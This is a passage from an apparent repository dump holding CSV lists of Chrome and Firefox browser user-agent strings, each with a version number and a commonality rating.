Safari/537.36\",47,Average\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36\",62,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.76 Safari/537.36\",56,Average\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.103 Safari/537.36\",48,Average\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36\",36,Average\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36\",31,Average\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112 Safari/537.36\",60,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.81 Safari/537.36\",58,Average\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36\",51,Average\n\"Mozilla/5.0 (Linux; Android 4.3; en-us; SAMSUNG SM-S765C Build/JLS36C) AppleWebKit/537.36 (KHTML, like Gecko) Version/1.5 Chrome/28.0.1500.94 Mobile Safari/537.36\",28,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.75 Safari/537.1\",21,Average\n\"Mozilla/5.0 (Linux; Android 7.0; SM-G955U Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36\",61,Average\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36\",51,Average\n\"Mozilla/5.0 (Linux; Android 4.1.2; LGMS500 Build/JZO54K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.94 Mobile Safari/537.36\",28,Average\n\"Mozilla/5.0 (Linux; Android 6.0.1; LGLS676 Build/MXB48T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.111 Mobile Safari/537.36\",63,Average\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.21 Safari/537.36 MMS/1.0.2459.0\",53,Average\n\"Mozilla/5.0 (Linux; Android 5.1.1; 5065N Build/LMY47V) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.95 Mobile Safari/537.36\",48,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.101 Safari/537.36\",53,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11\",23,Average\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.52 Safari/537.17\",24,Average\n\"Mozilla/5.0 (Linux; Android 5.1; C6740N Build/LMY47O; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/46.0.2490.76 Mobile Safari/537.36\",46,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36\",45,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36\",60,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.80 Safari/537.36\",47,Average\n\"Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.76 Mobile Safari/537.36\",46,Average\n\"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.109 Safari/537.36\",48,Average\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 Safari/537.36\",41,Average\n\"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3\",19,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.132 Safari/537.36\",43,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.119 Safari/537.36\",64,Average\n\"Mozilla/5.0 (Linux; Android 7.0; SM-G930V Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.111 Mobile Safari/537.36\",63,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36\",51,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.109 Safari/537.36\",48,Average\n\"Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.80 Safari/537.36\",47,Average\n\"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.20 (KHTML, like Gecko) Chrome/11.0.672.2 Safari/534.20\",11,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2480.0 Safari/537.36\",46,Average\n\"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1090.0 Safari/536.6\",20,Average\n\"Mozilla/5.0 (Windows NT 6.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36\",62,Average\n\"Mozilla/5.0 (X11; CrOS armv7l 7390.68.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.82 Safari/537.36\",46,Average\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36\",63,Average\n\"Mozilla/5.0 (Linux; Android 6.0; LG-H815 Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/38.0.2125.102 Mobile Safari/537.36\",38,Average\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.5.2171.95 Safari/537.36\",39.5,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.162 Safari/537.36\",65,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36\",49,Average\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36\",64,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36\",51,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36\",47,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.80 Safari/537.36\",47,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071 Safari/537.36\",59,Average\n\"Mozilla/5.0 (Linux; Android 6.0.1; Redmi 4 Build/MMB29M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.85 Mobile Safari/537.36\",54,Average\n\"Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36\",56,Average\n\"Mozilla/5.0 (Linux; Android 6.0.1; Redmi 4A Build/MMB29M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.85 Mobile Safari/537.36\",54,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.80 Safari/537.36\",47,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.112 Safari/534.30\",12,Average\n\"Mozilla/5.0 (Linux; Android 5.1.1; LGMS631 Build/LMY47V) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/38.0.2125.102 Mobile Safari/537.36\",38,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36\",54,Average\n\"Mozilla/5.0 (Linux; Android 6.0.1; Nexus 6 Build/MMB29X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36\",50,Average\n\"Mozilla/5.0 (iPad; U; CPU OS 5_1_1 like Mac OS X; en-us) AppleWebKit/534.46.0 (KHTML, like Gecko) CriOS/19.0.1084.60 Mobile/9B206 Safari/7534.48.3\",19,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36\",49,Average\n\"Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36\",45,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.146 Safari/537.36\",65,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.110 Safari/537.36\",57,Average\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/ Safari/530.5\",,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/18.6.872.0 Safari/535.2 UNTRUSTED/1.0 3gpp-gba UNTRUSTED/1.0\",18.6,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36\",38,Average\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.167 Safari/537.36\",64,Average\n\"Mozilla/5.0 (Linux; Android 6.0.1; vivo 1606 Build/MMB29M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.124 Mobile Safari/537.36\",53,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.101 Safari/537.11\",23,Average\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36\",47,Average\n\"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/531.3 (KHTML, like Gecko) Chrome/4.0.249.89 Safari/531.3\",4,Average\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.2 Safari/537.36\",29,Average\n\"Mozilla/5.0 (Linux; Android 4.4.2; en-us; SAMSUNG SM-T530NU Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/1.5 Chrome/28.0.1500.94 Safari/537.36\",28,Average\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36\",54,Average\n\"Mozilla/5.0 (Linux; Android 4.4.2; LGMS323 Build/KOT49I.MS32310b) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.59 Mobile Safari/537.36\",31,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36\",45,Average\n\"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36\",34,Average\n\"Mozilla/5.0 (Linux; Android 7.1.1; Moto E (4) Build/NCQ26.69-46) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.111 Mobile Safari/537.36\",63,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36\",47,Average\n\"Mozilla/5.0 (Linux; Android 5.1.1; SM-G360T1 Build/LMY47X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.111 Mobile Safari/537.36\",42,Average\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36\",31,Average\n\"Mozilla/5.0 (Linux; Android 7.0; SM-G950U Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.137 Mobile Safari/537.36\",64,Average\n\"Mozilla/5.0 (Linux; Android 7.0; LGMP260 Build/NRD90U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36\",62,Average\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; LG-D850/D85010d Build/KVT49L.D85010d) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.1599.103 Mobile Safari/537.36\",30,Average\n\"Mozilla/5.0 (X11; CrOS armv7l 10032.75.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.116 Safari/537.36\",63,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.75 Safari/537.36\",49,Average\n\"Mozilla/5.0 (Linux; Android 4.4.2; XT1031 Build/KXB20.9-1.10-1.18-1.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.92 Mobile Safari/537.36\",30,Average\n\"Mozilla/5.0 (Linux; Android 5.0.1; LGL33L/V100 Build/LRX21Y) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/38.0.2125.102 Mobile Safari/537.36\",38,Average\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36\",63,Average\n\"Mozilla/5.0 (X11; CrOS armv7l 8172.62.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36\",51,Average\n\"Mozilla/5.0 (X11; CrOS x86_64 4731.101.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.67 Safari/537.36\",31,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.56 Safari/537.17\",24,Average\n\"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.52 Safari/537.17\",24,Average\n\"Mozilla/5.0 (Linux; Android 5.0; Lenovo A1000 Build/S100) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.93 Mobile Safari/537.36\",43,Average\n\"Mozilla/5.0 (iPad; CPU OS 9_2_1 like Mac OS X) AppleWebKit/601.1 (KHTML, like Gecko) CriOS/48.0.2564.104 Mobile/13D15 Safari/601.1.46\",48,Average\n\"Mozilla/5.0 (Linux; Android 6.0; Android SDK built for x86 Build/MASTER; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.119 Mobile Safari/537.36\",44,Average\n\"Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36\",64,Average\n\"Mozilla/5.0 (Linux; Android 7.0; SM-G950U Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36\",61,Average\n\"Mozilla/5.0 (iPad; CPU OS 10_3_3 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) CriOS/61.0.3163.73 Mobile/14G60 Safari/602.1\",61,Average\n\"Mozilla/5.0 (Linux; Android 6.0.1; ZTE-Z832 Build/MMB29M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/45.0.2454.95 Mobile Safari/537.36\",45,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36\",52,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36\",51,Average\n\"Mozilla/5.0 (Linux; Android 6.0; LG-D855 Build/MRA58K; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/55.0.2883.91 Mobile Safari/537.36\",55,Average\n\"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16\",10,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36\",63,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.75 Safari/537.36\",62,Average\n\"Mozilla/5.0 (Linux; Android 4.4.4; E2124 Build/24.0.B.5.14) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.125 Mobile Safari/537.36\",59,Average\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.76 Safari/537.36\",56,Average\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.75 Safari/537.36\",49,Average\n\"Mozilla/5.0 (Linux; Android 5.0; Micromax AQ5001 Build/LRX21M) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/37.0.0.0 Mobile Safari/537.36\",37,Average\n\"Mozilla/5.0 (X11; CrOS armv7l 10032.86.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.140 Safari/537.36\",63,Average\n\"Mozilla/5.0 (Linux; Android 7.0; SM-G950U Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36\",62,Average\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.87 Safari/537.36\",54,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36\",53,Average\n\"Mozilla/5.0 (Linux; Android 5.1.1; Z828 Build/LMY47V) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.111 Mobile Safari/537.36\",42,Average\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.75 Safari/537.36\",50,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22\",25,Average\n\"Mozilla/5.0 (iPad; CPU OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/47.0.2526.107 Mobile/12F69 Safari/600.1.4\",47,Average\n\"Mozilla/5.0 (iPad; CPU OS 11_2_5 like Mac OS X) AppleWebKit/604.1.34 (KHTML, like Gecko) CriOS/64.0.3282.112 Mobile/15D60 Safari/604.1\",64,Average\n\"Mozilla/5.0 (Linux; Android 7.1.1; SM-T350 Build/NMF26X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.111 Safari/537.36\",63,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Safari/537.36\",61,Average\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36\",43,Average\n\"Mozilla/5.0 (Linux; Android 6.0.1; SM-G610F Build/MMB29K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Mobile Safari/537.36\",56,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36\",54,Average\n\"Mozilla/5.0 (Linux; Android 5.1.1; 5065N Build/LMY47V; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/46.0.2490.76 Mobile Safari/537.36\",46,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36\",51,Average\n\"Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.80 Safari/537.36\",47,Average\n"
  },
  {
    "path": "User Agents/csv/firefox.csv",
    "content": "ua,version,commonality\nMozilla/5.0 (Windows NT 5.1; rv:7.0.1) Gecko/20100101 Firefox/7.0.1,7,Very common\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0,54,Very common\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1,40.1,Very common\nMozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0,50,Very common\nMozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0,52,Very common\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0,50,Very common\nMozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0,54,Very common\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0,52,Very common\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0,41,Very common\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0,46,Very common\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0,44,Very common\nMozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0,56,Very common\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0,47,Very common\nMozilla/5.0 (Windows NT 6.3; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0,52,Very common\nMozilla/5.0 (Windows NT 6.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0,52,Very common\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0,56,Very common\nMozilla/5.0 (Windows NT 6.3; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0,50,Very common\nMozilla/5.0 (Windows NT 6.2; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0,52,Very common\nMozilla/5.0 (Windows NT 5.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0,52,Very common\nMozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0,48,Very common\nMozilla/5.0 (Windows NT 6.2; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0,50,Very common\nMozilla/5.0 (Windows NT 5.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0,50,Very common\nMozilla/5.0 (Windows NT 6.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0,50,Very common\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0,39,Very common\nMozilla/5.0 (Windows NT 6.3; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0,41,Very common\nMozilla/5.0 (Windows NT 6.3; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0,46,Very common\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0,48,Very common\nMozilla/5.0 (Windows NT 6.3; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0,44,Very common\nMozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0,57,Very common\nMozilla/5.0 (Windows NT 6.3; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0,54,Very common\nMozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:15.0) Gecko/20100101 Firefox/15.0,15,Very common\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0,45,Very common\nMozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0,53,Very common\nMozilla/5.0 (X11; Linux x86_64; rv:10.0) Gecko/20150101 Firefox/47.0 (Chrome),47,Very common\nMozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/20100101 Firefox/45.0,45,Very common\nMozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0,47,Very common\nMozilla/5.0 (Windows NT 5.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0,54,Very common\nMozilla/5.0 (Windows NT 6.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0,54,Very common\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0,53,Very common\nMozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0,47,Very common\nMozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0,58,Very common\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0,43,Very common\nMozilla/5.0 (Windows NT 6.2; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0,41,Very common\nMozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0,45,Very common\nMozilla/5.0 (Windows NT 6.0; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0,41,Very common\nMozilla/5.0 (Windows NT 6.2; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0,46,Very common\nMozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0,57,Very common\nMozilla/5.0 (Windows NT 5.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0,41,Very common\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0,40,Common\nMozilla/5.0 (Windows NT 6.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0,46,Common\nMozilla/5.0 (Windows NT 5.1; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0,46,Common\nMozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0,49,Common\nMozilla/5.0 (Windows NT 10.0; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0,44,Common\nMozilla/5.0 (Windows NT 6.3; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0,56,Common\nMozilla/5.0 (Windows NT 6.1; rv:38.0) Gecko/20100101 Firefox/38.0,38,Common\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0,26,Common\nMozilla/5.0 (Windows NT 5.1; rv:52.0) Gecko/20100101 Firefox/52.0,52,Common\nMozilla/5.0 (Windows NT 6.2; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0,48,Common\nMozilla/5.0 (Windows NT 6.3; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0,39,Common\nMozilla/5.0 (X11; Linux x86_64; rv:10.0) Gecko/20150101 Firefox/20.0 (Chrome),20,Common\nMozilla/5.0 (Windows NT 6.2; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0,54,Common\nMozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0,52,Common\nMozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0,56,Common\nMozilla/5.0 (Windows NT 5.1; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0,56,Common\nMozilla/5.0 (Windows NT 6.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0,56,Common\nMozilla/5.0 (Windows NT 6.2; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0,56,Common\nMozilla/5.0 (Windows NT 6.2; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0,44,Common\nMozilla/5.0 (Windows NT 6.0; WOW64; rv:44.0) Gecko/20100101 